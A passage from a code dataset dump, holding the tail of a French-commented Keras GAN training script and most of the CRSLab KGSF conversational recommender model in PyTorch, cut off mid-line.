kernel_size=(3, 3), activation='relu' ))\ndiscriminateur.add(MaxPooling2D(pool_size=(2, 2)))\n\ndiscriminateur.add(SpatialDropout2D(0.14))\n\ndiscriminateur.add(Conv2D(128, kernel_size=(3, 3), activation='relu' ))\ndiscriminateur.add(MaxPooling2D(pool_size=(2, 2)))\n\ndiscriminateur.add(Flatten())\n\ndiscriminateur.add(Dense(128, activation = \"relu\" ))\ndiscriminateur.add(Dense(1, activation = \"sigmoid\" ))\n\ndiscriminateur.summary()\n\n#Sauvegarde de l'architecture du model dans log.txt :\nwith open('log.txt','w') as log:\n discriminateur.summary(print_fn=lambda x: log.write(x + '\\n'))\n log.writelines([\"\\n\\n\"])\n log.writelines([\"#######################################################################\\n\"])\n log.writelines([\"#######################################################################\\n\\n\\n\"])\n\ndiscriminateur.compile(loss='binary_crossentropy', optimizer=optimizer, metrics=['accuracy'])\n\n\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\n# Créer Générateur #\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\ngenerateur = Sequential()\n\ngenerateur.add(Dense(16*16*256, activation='relu' , input_shape=(100,)))\ngenerateur.add(Reshape((16, 16, 256))) # 16x16\n\ngenerateur.add(UpSampling2D(size=(2, 2))) # 16x16 -> 32x32\ngenerateur.add(Conv2D(128, kernel_size=3, padding='same', activation='relu'))\n\ngenerateur.add(UpSampling2D(size=(2, 2))) # 32x32 -> 64x64\ngenerateur.add(Conv2D(64, kernel_size=3, padding='same', activation='relu'))\n\ngenerateur.add(UpSampling2D(size=(2, 2))) # 64x64 -> 128x128\ngenerateur.add(Conv2D(32, kernel_size=3, padding='same', activation='relu'))\n\ngenerateur.add(UpSampling2D(size=(2, 2))) # 128x128 -> 256x256\ngenerateur.add(Conv2D(16, kernel_size=3, padding='same', activation='relu'))\n\n#generateur.add(UpSampling2D(size=(2, 2))) # 256x256 -> 512x512\n#generateur.add(Conv2D(8, kernel_size=3, padding='same', activation='relu'))\n\n\ngenerateur.add(Conv2D(3, kernel_size=(2, 2),padding='same', activation='tanh' ))\ngenerateur.summary()\n\n#Sauvegarde de l'architecture du model dans log.txt :\nwith open('log.txt','a') as log:\n generateur.summary(print_fn=lambda x: log.write(x + '\\n'))\n log.writelines([\"\\n\\n\"])\n log.writelines([\"#######################################################################\\n\"])\n log.writelines([\"#######################################################################\\n\\n\\n\"]) \n#On n'entraine pas le générateur tout seul du coup on ne le compile pas\n\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\n# Créer COMBO #\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\ncombo = Sequential()\ncombo.add(generateur)\ncombo.add(discriminateur)\n\ndiscriminateur.trainable = False\ncombo.compile(loss='binary_crossentropy', optimizer=optimizer, metrics=['accuracy'])\n\ncombo.summary()\n\n#Sauvegarde de l'architecture du model dans log.txt :\nwith open('log.txt','a') as log:\n combo.summary(print_fn=lambda x: log.write(x + '\\n'))\n\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\n# Entrainer #\n#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\niterations = 200000\ndemi_batch= 16\n\n#plusieurs itération\nfor iteration in range(iterations):\n\tos.system('cls' if os.name == 'nt' else 'clear')# Clean la console à chaque boucle\n\tprint()\n\tprint(\" ##########################\")\n\tprint(\" Boucle n°\"+str(iteration)+\"/\"+str(iterations))\n\tprint(\" ##########################\")\n\t################################################\n\t# créer pack de données pour le discriminateur #\n\t################################################\n\n\t# etape 1 : prendre des bonnes images\n\t# etape 2 : créer les labels (1 pour vrai) pour les bonnes images du dataset\n\t# etape 3 : generer des mauvaises images\n\t# etape 4 : créer les labels (0 pour faux) pour les mauvaises images générés\n\n\tx = []\n\ty = []\n\n\t# etape 1 : prendre des bonnes images\n\timages_bonnes = images_vraies[np.random.randint(0, images_vraies.shape[0], size=demi_batch)]\n\t# etape 2 : créer les labels (1 pour vrai) pour les bonnes images du dataset\n\tlabels_bonnes = np.ones(demi_batch) #un tableau avec 1000 fois le label 1\n\t# etape 3 : generer des mauvaises images\n\tbruit = np.random.normal(0, 1, size=[demi_batch,100]) # 1000 tableaux de 100 nombres aléatoires\n\timages_mauvaises = generateur.predict(bruit) # milles images générées\n\t# etape 4 : créer les labels (0 pour faux) pour les mauvaises images générés\n\tlabels_mauvaises = np.zeros(demi_batch)\n\n\tx = np.concatenate([images_bonnes,images_mauvaises])\n\ty = np.concatenate([labels_bonnes,labels_mauvaises])\n\n\t############################\n\t# entrainer discriminateur #\n\t############################\n\n\tdiscriminateur.trainable = True\n\tprint()\n\tprint(\"Entrainement du discriminateur :\")\n\tprint()\n\tdiscriminateur.fit(x,y, epochs = 1, batch_size=32)\n\n\n\t#######################################\n\t# créer pack de données pour le combo #\n\t#######################################\n\n\t# generer du bruit\n\tbruit = np.random.normal(0, 1, size=[demi_batch,100]) # 1000 tableaux de 100 nombres aléatoires\n\t# créer les labels 1\n\tlabels_combo = np.ones(demi_batch)\n\n\n\t###################\n\t# entrainer combo #\n\t###################\n\tprint()\n\tprint(\"Entrainement du Générateur :\")\n\tprint()\n\tdiscriminateur.trainable = False\n\tcombo.fit(bruit,labels_combo, epochs=1, batch_size=32)\n\n\t######################################\n\t# Généreration d'image et sauvegarde #\n\t######################################\n\tif iteration % 25 == 0 :\n\t\tbruit = np.random.normal(0, 1, size=[1, 100])\n\t\tprint(\"Génération d'image...\")\n\t\tprint()\n\t\timage = generateur.predict(bruit)\n\t\timage = (image*127.5)+127.5\n\t\timage = image.astype(\"uint8\")\n\t\timage = image.reshape((256,256,3))\n\t\timname = \"genim_\"+str(iteration)+\".png\"\n\t\tcv2.imwrite(\"Images/\" +imname, image)\n\n\n\t#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\n\t# Sauvegarde des Models toutes les 100 boucles #\n\t#=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=#\n\tif iteration % 500 == 0 and iteration != 0 :\n\t\tprint()\n\t\tprint(\"Sauvegarde des models...\")\n\t\tprint()\n\t\tdiscriminateur.save(\"Discriminateurs/discriminateur_epoch\"+str(iteration)+\".h5\")\n\t\tgenerateur.save(\"Generateurs/generateur_epoch\"+str(iteration)+\".h5\")\n","sub_path":"GAN/GAN.py","file_name":"GAN.py","file_ext":"py","file_size_in_byte":8192,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"466185615","text":"# @Time : 2020/11/22\n# @Author : Kun Zhou\n# @Email : francis_kun_zhou@163.com\n\n# UPDATE:\n# @Time : 2020/11/24, 2020/12/29, 2021/1/4\n# @Author : Kun Zhou, Xiaolei Wang, Yuanhang Zhou\n# @Email : francis_kun_zhou@163.com, wxl1999@foxmail.com, sdzyh002@gmail.com\n\nr\"\"\"\nKGSF\n====\nReferences:\n Zhou, Kun, et al. `\"Improving Conversational Recommender Systems via Knowledge Graph based Semantic Fusion.\"`_ in KDD 2020.\n\n.. _`\"Improving Conversational Recommender Systems via Knowledge Graph based Semantic Fusion.\"`:\n https://dl.acm.org/doi/abs/10.1145/3394486.3403143\n\n\"\"\"\n\nimport os\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom loguru import logger\nfrom torch import nn\nfrom torch_geometric.nn import GCNConv, RGCNConv\n\nfrom crslab.model.base import BaseModel\nfrom crslab.model.utils.functions import edge_to_pyg_format\nfrom crslab.model.utils.modules.attention import SelfAttentionSeq\nfrom crslab.model.utils.modules.transformer import TransformerEncoder\nfrom crslab.utils.download import DownloadableFile\nfrom crslab.model.utils.modules.transformer import MultiHeadAttention, TransformerFFN, _create_selfattn_mask, \\\n _normalize, \\\n create_position_codes\nfrom crslab.utils import ModelType\n\nresources = {\n 'ReDial': {\n 'version': '0.2',\n 'file': DownloadableFile(\n 'https://pkueducn-my.sharepoint.com/:u:/g/personal/franciszhou_pku_edu_cn/EXl2bhU82O5Itp9K4Mh41mYB69BKPEvMcKwZRstfYZUB1g?download=1',\n 'kgsf_redial.zip',\n 'f627841644a184079acde1b0185e3a223945061c3a591f4bc0d7f62e7263f548',\n ),\n },\n 'TGReDial': {\n 'version': '0.2',\n 'file': DownloadableFile(\n 'https://pkueducn-my.sharepoint.com/:u:/g/personal/franciszhou_pku_edu_cn/ETzJ0-QnguRKiKO_ktrTDZQBZHKom4-V5SJ9mhesfXzrWQ?download=1',\n 'kgsf_tgredial.zip',\n 'c9d054b653808795035f77cb783227e6e9a938e5bedca4d7f88c6dfb539be5d1',\n ),\n },\n 'GoRecDial': {\n 'version': '0.1',\n 'file': DownloadableFile(\n 'https://pkueducn-my.sharepoint.com/:u:/g/personal/franciszhou_pku_edu_cn/EUfPcGfLHAJPj-F3Mr79CF4Bc5sZXKk-jysutrjiRcQvCg?download=1',\n 'kgsf_gorecdial.zip',\n '9794abf12b5d6773d867556685da14d951d42f64a5c4781af7d6fb720e87ec4f',\n )\n },\n 'OpenDialKG': {\n 'version': '0.1',\n 'file': DownloadableFile(\n 'https://pkueducn-my.sharepoint.com/:u:/g/personal/franciszhou_pku_edu_cn/EQgebOKypMlPr18KJ6uGeDABtqTbMQYVYNWNR_DaAZ1Wvg?download=1',\n 'kgsf_opendialkg.zip',\n '89b785b23478b1d91d6ab4f34a3658e82b52dcbb73828713a9b369fa49db9e61'\n )\n },\n 'Inspired': {\n 'version': '0.1',\n 'file': DownloadableFile(\n 'https://pkueducn-my.sharepoint.com/:u:/g/personal/franciszhou_pku_edu_cn/EXQGUxjGQ-ZKpzTnUYOMavABMUAxb0JwkiIMAPp5DIvsNw?download=1',\n 'kgsf_inspired.zip',\n '23dfc031a3c71f2a52e29fe0183e1a501771b8d431852102ba6fd83d971f928d'\n )\n },\n 'DuRecDial': {\n 'version': '0.1',\n 'file': DownloadableFile(\n 'https://pkueducn-my.sharepoint.com/:u:/g/personal/franciszhou_pku_edu_cn/Ed9-qLkK0bNCk5AAvJpWU3cBC-cXks-6JlclYp08AFovyw?download=1',\n 'kgsf_durecdial.zip',\n 'f9a39c2382efe88d80ef14d7db8b4cbaf3a6eb92a33e018dfc9afba546ba08ef'\n )\n }\n}\n\n\nclass KGSFModel(BaseModel):\n \"\"\"\n\n Attributes:\n vocab_size: A integer indicating the vocabulary size.\n pad_token_idx: A integer indicating the id of padding token.\n start_token_idx: A integer indicating the id of start token.\n end_token_idx: A integer indicating the id of end token.\n token_emb_dim: A integer indicating the dimension of token embedding layer.\n pretrain_embedding: A string indicating the path of pretrained embedding.\n n_word: A integer indicating the number of words.\n n_entity: A integer indicating the number of entities.\n pad_word_idx: A integer indicating the id of word padding.\n pad_entity_idx: A integer indicating the id of entity padding.\n num_bases: A integer indicating the number of bases.\n kg_emb_dim: A integer indicating the dimension of kg embedding.\n n_heads: A integer indicating the number of heads.\n n_layers: A integer indicating the number of layer.\n ffn_size: A integer indicating the size of ffn hidden.\n dropout: A float indicating the dropout rate.\n attention_dropout: A integer indicating the dropout rate of attention layer.\n relu_dropout: A integer indicating the dropout rate of relu layer.\n learn_positional_embeddings: A boolean indicating if we learn the positional embedding.\n embeddings_scale: A boolean indicating if we use the embeddings scale.\n reduction: A boolean indicating if we use the reduction.\n n_positions: A integer indicating the number of position.\n response_truncate = A integer indicating the longest length for response generation.\n pretrained_embedding: A string indicating the path of pretrained embedding.\n\n \"\"\"\n model_type = ModelType.GENERATION\n\n def __init__(self, opt, device, other_data):\n \"\"\"\n\n Args:\n opt (Config or dict): A dictionary record the hyper parameters.\n device (torch.device): A variable indicating which device to place the data and model.\n other_data (dict): A dictionary record the other data.\n\n \"\"\"\n self.device = device\n self.gpu = opt.get(\"gpu\", [-1])\n # vocab\n self.vocab_size = other_data['vocab']['vocab_size']\n self.pad_token_idx = other_data['vocab']['pad']\n self.start_token_idx = other_data['vocab']['start']\n self.end_token_idx = other_data['vocab']['end']\n self.token_emb_dim = opt['token_emb_dim']\n self.pretrained_embedding = other_data.get('embedding', None)\n # kg\n self.n_word = other_data['vocab']['n_word']\n self.n_entity = other_data['vocab']['n_entity']\n self.pad_word_idx = other_data['vocab']['pad_word']\n self.pad_entity_idx = other_data['vocab']['pad_entity']\n entity_kg = other_data['entity_kg']\n self.n_relation = entity_kg['n_relation']\n entity_edges = entity_kg['edge']\n self.entity_edge_idx, self.entity_edge_type = edge_to_pyg_format(entity_edges, 'RGCN')\n self.entity_edge_idx = self.entity_edge_idx.to(device)\n self.entity_edge_type = self.entity_edge_type.to(device)\n word_edges = other_data['word_kg']['edge']\n\n self.word_edges = edge_to_pyg_format(word_edges, 'GCN').to(device)\n\n self.num_bases = opt['num_bases']\n self.kg_emb_dim = opt['kg_emb_dim']\n # transformer\n self.n_heads = opt['n_heads']\n self.n_layers = opt['n_layers']\n self.ffn_size = opt['ffn_size']\n self.dropout = opt['dropout']\n self.attention_dropout = opt['attention_dropout']\n self.relu_dropout = opt['relu_dropout']\n self.learn_positional_embeddings = opt['learn_positional_embeddings']\n self.embeddings_scale = opt['embeddings_scale']\n self.reduction = opt['reduction']\n self.n_positions = opt['n_positions']\n self.response_truncate = opt.get('response_truncate', 20)\n # copy mask\n dataset = opt['dataset']\n dpath = os.path.join(opt.model_path, \"kgsf\", dataset)\n resource = resources[dataset]\n super(KGSFModel, self).__init__(opt, device, dpath, resource)\n\n def build_model(self):\n self._init_embeddings()\n self._build_kg_layer()\n self._build_infomax_layer()\n self._build_recommendation_layer()\n self._build_conversation_layer()\n\n def _init_embeddings(self):\n if self.pretrained_embedding is not None:\n self.token_embedding = nn.Embedding.from_pretrained(\n torch.as_tensor(self.pretrained_embedding, dtype=torch.float), freeze=False,\n padding_idx=self.pad_token_idx)\n else:\n self.token_embedding = nn.Embedding(self.vocab_size, self.token_emb_dim, self.pad_token_idx)\n nn.init.normal_(self.token_embedding.weight, mean=0, std=self.kg_emb_dim ** -0.5)\n nn.init.constant_(self.token_embedding.weight[self.pad_token_idx], 0)\n\n self.word_kg_embedding = nn.Embedding(self.n_word, self.kg_emb_dim, self.pad_word_idx)\n nn.init.normal_(self.word_kg_embedding.weight, mean=0, std=self.kg_emb_dim ** -0.5)\n nn.init.constant_(self.word_kg_embedding.weight[self.pad_word_idx], 0)\n\n logger.debug('[Finish init embeddings]')\n\n def _build_kg_layer(self):\n # db encoder\n self.entity_encoder = RGCNConv(self.n_entity, self.kg_emb_dim, self.n_relation, self.num_bases)\n self.entity_self_attn = SelfAttentionSeq(self.kg_emb_dim, self.kg_emb_dim)\n\n # concept encoder\n self.word_encoder = GCNConv(self.kg_emb_dim, self.kg_emb_dim)\n self.word_self_attn = SelfAttentionSeq(self.kg_emb_dim, self.kg_emb_dim)\n\n # gate mechanism\n self.gate_layer = GateLayer(self.kg_emb_dim)\n\n logger.debug('[Finish build kg layer]')\n\n def _build_infomax_layer(self):\n self.infomax_norm = nn.Linear(self.kg_emb_dim, self.kg_emb_dim)\n self.infomax_bias = nn.Linear(self.kg_emb_dim, self.n_entity)\n self.infomax_loss = nn.MSELoss(reduction='sum')\n\n logger.debug('[Finish build infomax layer]')\n\n def _build_recommendation_layer(self):\n self.rec_bias = nn.Linear(self.kg_emb_dim, self.n_entity)\n self.rec_loss = nn.CrossEntropyLoss()\n\n logger.debug('[Finish build rec layer]')\n\n def _build_conversation_layer(self):\n self.register_buffer('START', torch.tensor([self.start_token_idx], dtype=torch.long))\n self.conv_encoder = TransformerEncoder(\n n_heads=self.n_heads,\n n_layers=self.n_layers,\n embedding_size=self.token_emb_dim,\n ffn_size=self.ffn_size,\n vocabulary_size=self.vocab_size,\n embedding=self.token_embedding,\n dropout=self.dropout,\n attention_dropout=self.attention_dropout,\n relu_dropout=self.relu_dropout,\n padding_idx=self.pad_token_idx,\n learn_positional_embeddings=self.learn_positional_embeddings,\n embeddings_scale=self.embeddings_scale,\n reduction=self.reduction,\n n_positions=self.n_positions,\n )\n\n self.conv_entity_norm = nn.Linear(self.kg_emb_dim, self.ffn_size)\n self.conv_entity_attn_norm = nn.Linear(self.kg_emb_dim, self.ffn_size)\n self.conv_word_norm = nn.Linear(self.kg_emb_dim, self.ffn_size)\n self.conv_word_attn_norm = nn.Linear(self.kg_emb_dim, self.ffn_size)\n\n self.copy_norm = nn.Linear(self.ffn_size * 3, self.token_emb_dim)\n self.copy_output = nn.Linear(self.token_emb_dim, self.vocab_size)\n self.copy_mask = torch.as_tensor(np.load(os.path.join(self.dpath, \"copy_mask.npy\")).astype(bool),\n ).to(self.device)\n\n self.conv_decoder = TransformerDecoderKG(\n self.n_heads, self.n_layers, self.token_emb_dim, self.ffn_size, self.vocab_size,\n embedding=self.token_embedding,\n dropout=self.dropout,\n attention_dropout=self.attention_dropout,\n relu_dropout=self.relu_dropout,\n embeddings_scale=self.embeddings_scale,\n learn_positional_embeddings=self.learn_positional_embeddings,\n padding_idx=self.pad_token_idx,\n n_positions=self.n_positions\n )\n self.conv_loss = nn.CrossEntropyLoss(ignore_index=self.pad_token_idx)\n\n logger.debug('[Finish build conv layer]')\n\n def pretrain_infomax(self, batch):\n \"\"\"\n words: (batch_size, word_length)\n entity_labels: (batch_size, n_entity)\n \"\"\"\n words, entity_labels = batch\n\n loss_mask = torch.sum(entity_labels)\n if loss_mask.item() == 0:\n return None\n\n entity_graph_representations = self.entity_encoder(None, self.entity_edge_idx, self.entity_edge_type)\n word_graph_representations = self.word_encoder(self.word_kg_embedding.weight, self.word_edges)\n\n word_representations = word_graph_representations[words]\n word_padding_mask = words.eq(self.pad_word_idx) # (bs, seq_len)\n\n word_attn_rep = self.word_self_attn(word_representations, word_padding_mask)\n word_info_rep = self.infomax_norm(word_attn_rep) # (bs, dim)\n info_predict = F.linear(word_info_rep, entity_graph_representations, self.infomax_bias.bias) # (bs, #entity)\n loss = self.infomax_loss(info_predict, entity_labels) / loss_mask\n return loss\n\n def recommend(self, batch, mode):\n \"\"\"\n context_entities: (batch_size, entity_length)\n context_words: (batch_size, word_length)\n movie: (batch_size)\n \"\"\"\n context_entities, context_words, entities, movie = batch\n\n entity_graph_representations = self.entity_encoder(None, self.entity_edge_idx, self.entity_edge_type)\n word_graph_representations = self.word_encoder(self.word_kg_embedding.weight, self.word_edges)\n\n entity_padding_mask = context_entities.eq(self.pad_entity_idx) # (bs, entity_len)\n word_padding_mask = context_words.eq(self.pad_word_idx) # (bs, word_len)\n\n entity_representations = entity_graph_representations[context_entities]\n word_representations = word_graph_representations[context_words]\n\n entity_attn_rep = self.entity_self_attn(entity_representations, entity_padding_mask)\n word_attn_rep = self.word_self_attn(word_representations, word_padding_mask)\n\n user_rep = self.gate_layer(entity_attn_rep, word_attn_rep)\n rec_scores = F.linear(user_rep, entity_graph_representations, self.rec_bias.bias) # (bs, #entity)\n\n rec_loss = self.rec_loss(rec_scores, movie)\n\n info_loss_mask = torch.sum(entities)\n if info_loss_mask.item() == 0:\n info_loss = None\n else:\n word_info_rep = self.infomax_norm(word_attn_rep) # (bs, dim)\n info_predict = F.linear(word_info_rep, entity_graph_representations,\n self.infomax_bias.bias) # (bs, #entity)\n info_loss = self.infomax_loss(info_predict, entities) / info_loss_mask\n\n return rec_loss, info_loss, rec_scores\n\n def freeze_parameters(self):\n freeze_models = [self.word_kg_embedding, self.entity_encoder, self.entity_self_attn, self.word_encoder,\n self.word_self_attn, self.gate_layer, self.infomax_bias, self.infomax_norm, self.rec_bias]\n for model in freeze_models:\n for p in model.parameters():\n p.requires_grad = False\n\n def _starts(self, batch_size):\n \"\"\"Return bsz start tokens.\"\"\"\n return self.START.detach().expand(batch_size, 1)\n\n def _decode_forced_with_kg(self, token_encoding, entity_reps, entity_emb_attn, entity_mask,\n word_reps, word_emb_attn, word_mask, response):\n batch_size, seq_len = response.shape\n start = self._starts(batch_size)\n inputs = torch.cat((start, response[:, :-1]), dim=-1).long()\n\n dialog_latent, _ = self.conv_decoder(inputs, token_encoding, word_reps, word_mask,\n entity_reps, entity_mask) # (bs, seq_len, dim)\n entity_latent = entity_emb_attn.unsqueeze(1).expand(-1, seq_len, -1)\n word_latent = word_emb_attn.unsqueeze(1).expand(-1, seq_len, -1)\n copy_latent = self.copy_norm(\n torch.cat((entity_latent, word_latent, dialog_latent), dim=-1)) # (bs, seq_len, dim)\n\n copy_logits = self.copy_output(copy_latent) * self.copy_mask.unsqueeze(0).unsqueeze(\n 0) # (bs, seq_len, vocab_size)\n gen_logits = F.linear(dialog_latent, self.token_embedding.weight) # (bs, seq_len, vocab_size)\n sum_logits = copy_logits + gen_logits\n preds = sum_logits.argmax(dim=-1)\n return sum_logits, preds\n\n def _decode_greedy_with_kg(self, token_encoding, entity_reps, entity_emb_attn, entity_mask,\n word_reps, word_emb_attn, word_mask):\n batch_size = token_encoding[0].shape[0]\n inputs = self._starts(batch_size).long()\n incr_state = None\n logits = []\n for _ in range(self.response_truncate):\n dialog_latent, incr_state = self.conv_decoder(inputs, token_encoding, word_reps, word_mask,\n entity_reps, entity_mask, incr_state)\n dialog_latent = dialog_latent[:, -1:, :] # (bs, 1, dim)\n db_latent = entity_emb_attn.unsqueeze(1)\n concept_latent = word_emb_attn.unsqueeze(1)\n copy_latent = self.copy_norm(torch.cat((db_latent, concept_latent, dialog_latent), dim=-1))\n\n copy_logits = self.copy_output(copy_latent) * self.copy_mask.unsqueeze(0).unsqueeze(0)\n gen_logits = F.linear(dialog_latent, self.token_embedding.weight)\n sum_logits = copy_logits + gen_logits\n preds = sum_logits.argmax(dim=-1).long()\n logits.append(sum_logits)\n inputs = torch.cat((inputs, preds), dim=1)\n\n finished = ((inputs == self.end_token_idx).sum(dim=-1) > 0).sum().item() == batch_size\n if finished:\n break\n logits = torch.cat(logits, dim=1)\n return logits, inputs\n\n def _decode_beam_search_with_kg(self, token_encoding, entity_reps, entity_emb_attn, entity_mask,\n word_reps, word_emb_attn, word_mask, beam=4):\n batch_size = token_encoding[0].shape[0]\n inputs = self._starts(batch_size).long().reshape(1, batch_size, -1)\n incr_state = None\n\n sequences = [[[list(), list(), 1.0]]] * batch_size\n for i in range(self.response_truncate):\n if i == 1:\n token_encoding = (token_encoding[0].repeat(beam, 1, 1),\n token_encoding[1].repeat(beam, 1, 1))\n entity_reps = entity_reps.repeat(beam, 1, 1)\n entity_emb_attn = entity_emb_attn.repeat(beam, 1)\n entity_mask = entity_mask.repeat(beam, 1)\n word_reps = word_reps.repeat(beam, 1, 1)\n word_emb_attn = word_emb_attn.repeat(beam, 1)\n word_mask = word_mask.repeat(beam, 1)\n\n # at beginning there is 1 candidate, when i!=0 there are 4 candidates\n if i != 0:\n inputs = []\n for d in range(len(sequences[0])):\n for j in range(batch_size):\n text = sequences[j][d][0]\n inputs.append(text)\n inputs = torch.stack(inputs).reshape(beam, batch_size, -1) # (beam, batch_size, _)\n\n with torch.no_grad():\n dialog_latent, incr_state = self.conv_decoder(\n inputs.reshape(len(sequences[0]) * batch_size, -1),\n token_encoding, word_reps, word_mask,\n entity_reps, entity_mask, incr_state\n )\n dialog_latent = dialog_latent[:, -1:, :] # (bs, 1, dim)\n db_latent = entity_emb_attn.unsqueeze(1)\n concept_latent = word_emb_attn.unsqueeze(1)\n copy_latent = self.copy_norm(torch.cat((db_latent, concept_latent, dialog_latent), dim=-1))\n\n copy_logits = self.copy_output(copy_latent) * self.copy_mask.unsqueeze(0).unsqueeze(0)\n gen_logits = F.linear(dialog_latent, self.token_embedding.weight)\n sum_logits = copy_logits + gen_logits\n\n logits = sum_logits.reshape(len(sequences[0]), batch_size, 1, -1)\n # turn into probabilities,in case of negative numbers\n probs, preds = torch.nn.functional.softmax(logits).topk(beam, dim=-1)\n\n # (candeidate, bs, 1 , beam) during first loop, candidate=1, otherwise candidate=beam\n\n for j in range(batch_size):\n all_candidates = []\n for n in range(len(sequences[j])):\n for k in range(beam):\n prob = sequences[j][n][2]\n logit = sequences[j][n][1]\n if logit == []:\n logit_tmp = logits[n][j][0].unsqueeze(0)\n else:\n logit_tmp = torch.cat((logit, logits[n][j][0].unsqueeze(0)), dim=0)\n seq_tmp = torch.cat((inputs[n][j].reshape(-1), preds[n][j][0][k].reshape(-1)))\n candidate = [seq_tmp, logit_tmp, prob * probs[n][j][0][k]]\n all_candidates.append(candidate)\n ordered = sorted(all_candidates, key=lambda tup: tup[2], reverse=True)\n sequences[j] = ordered[:beam]\n\n # check if everyone has generated an end token\n all_finished = ((inputs == self.end_token_idx).sum(dim=1) > 0).sum().item() == batch_size\n if all_finished:\n break\n logits = torch.stack([seq[0][1] for seq in sequences])\n inputs = torch.stack([seq[0][0] for seq in sequences])\n return logits, inputs\n\n def converse(self, batch, mode):\n context_tokens, context_entities, context_words, response = batch\n\n entity_graph_representations = self.entity_encoder(None, self.entity_edge_idx, self.entity_edge_type)\n word_graph_representations = self.word_encoder(self.word_kg_embedding.weight, self.word_edges)\n\n entity_padding_mask = context_entities.eq(self.pad_entity_idx) # (bs, entity_len)\n word_padding_mask = context_words.eq(self.pad_word_idx) # (bs, seq_len)\n\n entity_representations = entity_graph_representations[context_entities]\n word_representations = word_graph_representations[context_words]\n\n entity_attn_rep = self.entity_self_attn(entity_representations, entity_padding_mask)\n word_attn_rep = self.word_self_attn(word_representations, word_padding_mask)\n\n # encoder-decoder\n tokens_encoding = self.conv_encoder(context_tokens)\n conv_entity_emb = self.conv_entity_attn_norm(entity_attn_rep)\n conv_word_emb = self.conv_word_attn_norm(word_attn_rep)\n conv_entity_reps = self.conv_entity_norm(entity_representations)\n conv_word_reps = self.conv_word_norm(word_representations)\n if mode != 'test':\n logits, preds = self._decode_forced_with_kg(tokens_encoding, conv_entity_reps, conv_entity_emb,\n entity_padding_mask,\n conv_word_reps, conv_word_emb, word_padding_mask,\n response)\n\n logits = logits.view(-1, logits.shape[-1])\n response = response.view(-1)\n loss = self.conv_loss(logits, response)\n return loss, preds\n else:\n logits, preds = self._decode_greedy_with_kg(tokens_encoding, conv_entity_reps, conv_entity_emb,\n entity_padding_mask,\n conv_word_reps, conv_word_emb, word_padding_mask)\n return preds\n\n def forward(self, batch, stage, mode):\n if len(self.gpu) >= 2:\n # forward function operates on different gpus, the weight of graph network need to be copied to other gpu\n self.entity_edge_idx = self.entity_edge_idx.cuda(torch.cuda.current_device())\n self.entity_edge_type = self.entity_edge_type.cuda(torch.cuda.current_device())\n self.word_edges = self.word_edges.cuda(torch.cuda.current_device())\n self.copy_mask = torch.as_tensor(np.load(os.path.join(self.dpath, \"copy_mask.npy\")).astype(bool),\n ).cuda(torch.cuda.current_device())\n if stage == \"pretrain\":\n loss = self.pretrain_infomax(batch)\n elif stage == \"rec\":\n loss = self.recommend(batch, mode)\n elif stage == \"conv\":\n loss = self.converse(batch, mode)\n return loss\n\n\nclass GateLayer(nn.Module):\n def __init__(self, input_dim):\n super(GateLayer, self).__init__()\n self._norm_layer1 = nn.Linear(input_dim * 2, input_dim)\n self._norm_layer2 = nn.Linear(input_dim, 1)\n\n def forward(self, input1, input2):\n norm_input = self._norm_layer1(torch.cat([input1, input2], dim=-1))\n gate = torch.sigmoid(self._norm_layer2(norm_input)) # (bs, 1)\n gated_emb = gate * input1 + (1 - gate) * input2 # (bs, dim)\n return gated_emb\n\n\nclass TransformerDecoderLayerKG(nn.Module):\n def __init__(\n self,\n n_heads,\n embedding_size,\n ffn_size,\n attention_dropout=0.0,\n relu_dropout=0.0,\n dropout=0.0,\n ):\n super().__init__()\n self.dim = embedding_size\n self.ffn_dim = ffn_size\n self.dropout = nn.Dropout(p=dropout)\n\n self.self_attention = MultiHeadAttention(\n n_heads, embedding_size, dropout=attention_dropout\n )\n self.norm1 = nn.LayerNorm(embedding_size)\n\n self.encoder_attention = MultiHeadAttention(\n n_heads, embedding_size, dropout=attention_dropout\n )\n self.norm2 = nn.LayerNorm(embedding_size)\n\n self.encoder_db_attention = MultiHeadAttention(\n n_heads, embedding_size, dropout=attention_dropout\n )\n self.norm2_db = nn.LayerNorm(embedding_size)\n\n self.encoder_kg_attention = MultiHeadAttention(\n n_heads, embedding_size, dropout=attention_dropout\n )\n self.norm2_kg = nn.LayerNorm(embedding_size)\n\n self.ffn = TransformerFFN(embedding_size, ffn_size, relu_dropout=relu_dropout)\n self.norm3 = nn.LayerNorm(embedding_size)\n\n def forward(self, x, encoder_output, encoder_mask, kg_encoder_output, kg_encoder_mask, db_encoder_output,\n db_encoder_mask):\n decoder_mask = _create_selfattn_mask(x)\n # first self attn\n residual = x\n # don't peak into the future!\n x = self.self_attention(query=x, mask=decoder_mask)\n x = self.dropout(x) # --dropout\n x = x + residual\n x = _normalize(x, self.norm1)\n\n residual = x\n x = self.encoder_db_attention(\n query=x,\n key=db_encoder_output,\n value=db_encoder_output,\n mask=db_encoder_mask\n )\n x = self.dropout(x) # --dropout\n x = residual + x\n x = _normalize(x, self.norm2_db)\n\n residual = x\n x = self.encoder_kg_attention(\n query=x,\n key=kg_encoder_output,\n value=kg_encoder_output,\n mask=kg_encoder_mask\n )\n x = self.dropout(x) # --dropout\n x = residual + x\n x = _normalize(x, self.norm2_kg)\n\n residual = x\n x = self.encoder_attention(\n query=x,\n key=encoder_output,\n value=encoder_output,\n mask=encoder_mask\n )\n x = self.dropout(x) # --dropout\n x = residual + x\n x = 